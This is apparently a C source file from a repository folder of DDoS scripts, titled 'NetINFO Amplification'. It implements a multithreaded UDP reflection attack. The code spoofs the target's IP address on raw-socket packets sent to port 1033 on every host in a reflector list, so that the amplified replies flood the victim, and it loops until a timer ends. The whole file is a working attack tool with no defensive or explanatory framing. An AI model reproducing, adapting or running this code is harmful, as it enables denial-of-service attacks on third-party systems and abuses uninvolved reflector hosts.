Path: blob/master/DDOS Scripts/AMP Methods/NetINFO Amplification/i.c
4607 views
#include <time.h>1#include <pthread.h>2#include <unistd.h>3#include <stdio.h>4#include <stdlib.h>5#include <string.h>6#include <sys/socket.h>7#include <netinet/ip.h>8#include <netinet/udp.h>9#include <arpa/inet.h>10#define MAX_PACKET_SIZE 819211#define PHI 0x9e3779b912static uint32_t Q[4096], c = 362436;13struct list14{15struct sockaddr_in data;16struct list *next;17struct list *prev;18};19struct list *head;20struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };21void init_rand(uint32_t x)22{23int i;24Q[0] = x;25Q[1] = x + PHI;26Q[2] = x + PHI + PHI;27for (i = 3; i < 4096; i++)28{29Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;30}31}3233uint32_t rand_cmwc(void)34{35uint64_t t, a = 18782LL;36static uint32_t i = 4095;37uint32_t x, r = 0xfffffffe;38i = (i + 1) & 4095;39t = a * Q[i] + c;40c = (t >> 32);41x = t + c;42if (x < c) {43x++;44c++;45}46return (Q[i] = r - x);47}4849/* function for header checksums */50unsigned short csum (unsigned short *buf, int nwords)51{52unsigned long sum;53for (sum = 0; nwords > 0; nwords--)54sum += *buf++;55sum = (sum >> 16) + (sum & 0xffff);56sum += (sum >> 16);57return (unsigned short)(~sum);58}5960void setup_ip_header(struct iphdr *iph)61{62iph->ihl = 5;63iph->version = 4;64iph->tos = 0;65iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 1;66iph->id = htonl(54321);67iph->frag_off = 0;68iph->ttl = MAXTTL;69iph->protocol = IPPROTO_UDP;70iph->check = 0;71iph->saddr = inet_addr("192.168.3.100");72}7374void setup_udp_header(struct udphdr *udph)75{76udph->source = htons(5678);77udph->dest = htons(1033);78udph->check = 0;79memcpy((void *)udph + sizeof(struct udphdr), "\x00", 1);80udph->len=htons(sizeof(struct udphdr) + 1);81}8283void *flood(void *par1)84{85struct thread_data *td = (struct thread_data *)par1;86char datagram[MAX_PACKET_SIZE];87struct iphdr *iph = (struct iphdr *)datagram;88struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);89struct sockaddr_in sin = td->sin;90struct list *list_node = td->list_node;91int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);92if(s < 0){93fprintf(stderr, "Could not open raw socket.\n");94exit(-1);95}96init_rand(time(NULL));97memset(datagram, 0, MAX_PACKET_SIZE);98setup_ip_header(iph);99setup_udp_header(udph);100udph->source = sin.sin_port;101iph->saddr = sin.sin_addr.s_addr;102iph->daddr = list_node->data.sin_addr.s_addr;103iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);104int tmp = 1;105const int *val = &tmp;106if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){107fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");108exit(-1);109}110int i=0;111while(1){112sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));113list_node = list_node->next;114iph->daddr = list_node->data.sin_addr.s_addr;115iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);116if(i==5)117{118usleep(0);119i=0;120}121i++;122}123}124int main(int argc, char *argv[ ])125{126if(argc < 4){127fprintf(stderr, "Invalid parameters!\n");128fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <throttle> <time (optional)>\n", argv[0]);129exit(-1);130}131int i = 0;132head = NULL;133fprintf(stdout, "Setting up Sockets...\n");134int max_len = 128;135char *buffer = (char *) malloc(max_len);136buffer = memset(buffer, 0x00, max_len);137int num_threads = atoi(argv[4]);138FILE *list_fd = fopen(argv[3], "r");139while (fgets(buffer, max_len, list_fd) != NULL) {140if ((buffer[strlen(buffer) - 1] == '\n') ||141(buffer[strlen(buffer) - 1] == '\r')) {142buffer[strlen(buffer) - 1] = 0x00;143if(head == NULL)144{145head = (struct list *)malloc(sizeof(struct list));146bzero(&head->data, sizeof(head->data));147head->data.sin_addr.s_addr=inet_addr(buffer);148head->next = head;149head->prev = head;150} else {151struct list *new_node = (struct list *)malloc(sizeof(struct list));152memset(new_node, 0x00, sizeof(struct list));153new_node->data.sin_addr.s_addr=inet_addr(buffer);154new_node->prev = head;155new_node->next = head->next;156head->next = new_node;157}158i++;159} else {160continue;161}162}163struct list *current = head->next;164pthread_t thread[num_threads];165struct sockaddr_in sin;166sin.sin_family = AF_INET;167sin.sin_port = htons(atoi(argv[2]));168sin.sin_addr.s_addr = inet_addr(argv[1]);169struct thread_data td[num_threads];170for(i = 0;i<num_threads;i++){171td[i].thread_id = i;172td[i].sin= sin;173td[i].list_node = current;174pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);175}176fprintf(stdout, "Starting Flood...\n");177if(argc > 5)178{179sleep(atoi(argv[5]));180} else {181while(1){182sleep(1);183}184}185return 0;186}187188